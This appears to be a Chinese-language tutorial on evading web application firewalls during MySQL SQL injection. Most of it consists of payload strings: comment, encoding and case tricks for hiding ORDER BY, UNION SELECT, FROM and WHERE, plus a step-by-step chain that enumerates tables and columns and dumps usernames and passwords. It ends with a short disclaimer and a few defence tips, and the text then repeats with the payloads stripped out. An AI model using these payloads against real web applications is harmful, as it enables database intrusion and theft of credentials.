MySQL绕过WAF实战技巧
字数 872 2025-08-11 00:55:07

MySQL绕过WAF实战技巧教学文档

一、前言

本文总结了MySQL注入绕过WAF(Web应用防火墙)的多种实战技巧,通过实际案例演示如何绕过常见的WAF防护机制。这些技术仅供安全研究和防御使用,请勿用于非法用途。

二、常见绕过方式综述

  1. 注释方式绕过:利用MySQL特有的注释语法
  2. 编码方式绕过:使用URL编码、十六进制编码等
  3. 大小写混合:改变SQL关键字的大小写组合
  4. 缓冲区溢出:通过超长字符串导致WAF处理异常
  5. 特殊字符插入:在关键字中插入特殊字符或空白

三、实战绕过技巧详解

1. 绕过ORDER BY过滤

当WAF检测"Order By"时会拦截:

有效绕过方法:

  • 使用URL编码的空格(%A0):
    Order%A0By 100
    
  • 使用大容量注释:
    /*50000Order*/ By 100 -- -
    

2. 绕过UNION SELECT过滤

当WAF检测"Union Select"时会拦截:

有效绕过方法:

  • 使用注释分割关键字:
    /**_**/UnIoN(/*!50000SeLeCt*/ 1,2 -- -
    
  • 使用特殊字符分割:
    UnIoN%A0SeLeCt
    

3. 多列查询绕过技巧

当联合查询需要填充大量列时容易被拦截:

有效绕过方法:

  1. JOIN查询法

    UnIoN%A0SeLeCT*FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN ... JOIN (SeLeCt 25)z -- -
    
  2. 波浪符(~)法

    UnIoN%A0SeLeCT 1,2,3,4,~5,~6-- -
    
  3. 小数点(.)法

    UnIoN%A0SeLeCT 1,2,3,4,.5,.6-- -
    
  4. 引号包裹法

    UnIoN%A0SeLeCT 1,2,3,4,'5','6'-- -
    
    UnIoN%A0SeLeCT 1,2,3,4,"5","6"-- -
    
  5. 科学计数法(9e0)

    *9e0UnIoN SeLeCT 1,2,3,4,5,6...25-- -
    

4. 绕过FROM过滤

当WAF检测"From"时会拦截:

有效绕过方法:

  • 添加e0前缀:
    e0FrOm Information_schema-- -
    
  • 使用小数点:
    .25FrOm Information_schema./**_**/Tables-- -
    

5. 绕过WHERE过滤

有效绕过方法:

  • 使用内联注释:
    /*!50000Where*/ table_schema=database()-- -
    

6. 绕过十六进制检测

当WAF检测hex编码时会拦截:

有效绕过方法:

  • 使用二进制表示法(前缀0b):
    0b01001001... (对应字符的二进制表示)
    

四、完整注入流程示例

  1. 探测列数

    ' Group By 100 -- -  # 通过报错确定实际列数
    
  2. 绕过UNION SELECT

    ' /**_**/UnIoN(/*!50000SeLeCt*/1,2,3...25)-- -
    
  3. 获取表信息

    ' *9e0UnIoN SeLeCT 1,2,3,ConCat(table_name),5...25e0FrOm Information_schema./**_**/Tables-- -
    
  4. 获取列信息

    ' *9e0UnIoN SeLeCT 1,2,3,Group_ConCat(table_name,0x3a3a3a3a3a,column_name),5...25FrOm Information_schema./**_**/columns-- -
    
  5. 获取具体数据

    ' *9e0UnIoN SeLeCT 1,2,3,Group_ConCat(user,0x3a,password),5...25FrOm admin./**_**/users-- -
    

五、防御建议

  1. 使用参数化查询(prepared statements)
  2. 实施最小权限原则
  3. 对输入进行严格的白名单验证
  4. 使用多层WAF规则,包括语义分析
  5. 监控和记录异常查询模式

六、总结

MySQL WAF绕过技术多种多样,关键在于:

  • 理解WAF的过滤机制
  • 灵活运用MySQL语法特性
  • 不断尝试各种编码和变形方式
  • 保持耐心和创造力

安全研究人员应深入了解这些技术以构建更强大的防御系统。

MySQL绕过WAF实战技巧教学文档 一、前言 本文总结了MySQL注入绕过WAF(Web应用防火墙)的多种实战技巧,通过实际案例演示如何绕过常见的WAF防护机制。这些技术仅供安全研究和防御使用,请勿用于非法用途。 二、常见绕过方式综述 注释方式绕过 :利用MySQL特有的注释语法 编码方式绕过 :使用URL编码、十六进制编码等 大小写混合 :改变SQL关键字的大小写组合 缓冲区溢出 :通过超长字符串导致WAF处理异常 特殊字符插入 :在关键字中插入特殊字符或空白 三、实战绕过技巧详解 1. 绕过ORDER BY过滤 当WAF检测"Order By"时会拦截: 有效绕过方法: 使用URL编码的空格(%A0): 使用大容量注释: 2. 绕过UNION SELECT过滤 当WAF检测"Union Select"时会拦截: 有效绕过方法: 使用注释分割关键字: 使用特殊字符分割: 3. 多列查询绕过技巧 当联合查询需要填充大量列时容易被拦截: 有效绕过方法: JOIN查询法 : 波浪符(~)法 : 小数点(.)法 : 引号包裹法 : 科学计数法(9e0) : 4. 绕过FROM过滤 当WAF检测"From"时会拦截: 有效绕过方法: 添加e0前缀: 使用小数点: 5. 绕过WHERE过滤 有效绕过方法: 使用内联注释: 6. 绕过十六进制检测 当WAF检测hex编码时会拦截: 有效绕过方法: 使用二进制表示法(前缀0b): 四、完整注入流程示例 探测列数 : 绕过UNION SELECT : 获取表信息 : 获取列信息 : 获取具体数据 : 五、防御建议 使用参数化查询(prepared statements) 实施最小权限原则 对输入进行严格的白名单验证 使用多层WAF规则,包括语义分析 监控和记录异常查询模式 六、总结 MySQL WAF绕过技术多种多样,关键在于: 理解WAF的过滤机制 灵活运用MySQL语法特性 不断尝试各种编码和变形方式 保持耐心和创造力 安全研究人员应深入了解这些技术以构建更强大的防御系统。